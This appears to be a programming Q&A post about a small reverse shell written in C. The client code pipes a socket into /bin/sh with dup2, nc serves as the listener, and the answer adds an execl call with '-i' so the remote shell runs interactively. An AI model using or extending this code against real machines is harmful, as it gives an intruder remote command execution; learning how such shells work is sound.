Search code examples
cshellsocketsreverse-shell

Print current directory in reverse shell


I tried to build a very little reversed shell in C.

The connection works, the commands are also executed, but I wonder how it's possible to print the current directory. My code so far:

Client:

// [...]
// creating socket
// connect

void handle_connection(socket_t* sock, char** argv, char** env) {
    // redirect stdout, stdin, stderr
    for (int i = 0; i <= 2; i++)
        dup2(*sock, i);

    execve("/bin/sh", argv, env);
}

On the server side, I simply use nc which works fine. But the current directory is not printed out as usual. F.ex. if I send a "cd [...]", there is no output at all.

How can I send the current directory to the server?

Thanks for any help.


Solution

  • If you want to see the current directory, run the pwd command.

    The cd command does not print any output. Therefore you'll not see any output.

    If you run the shell interactively though, the shell prints a prompt after it has executed a command. Some shells, or depending on your configuration, that prompt might include the current working directory.

    But when you connect a socket to the shells stdin/out/err, the shell figures out it is not in interactive mode, and it will not present a prompt. Simply running the cd command will give you no output.

    You can force the shell to interactive mode, in which case it should print the prompt after each command, run

    execl("/bin/sh", "/bin/sh/", "-i", NULL);
    

    (Or find some way of adding the "-i" argument in your execve() call)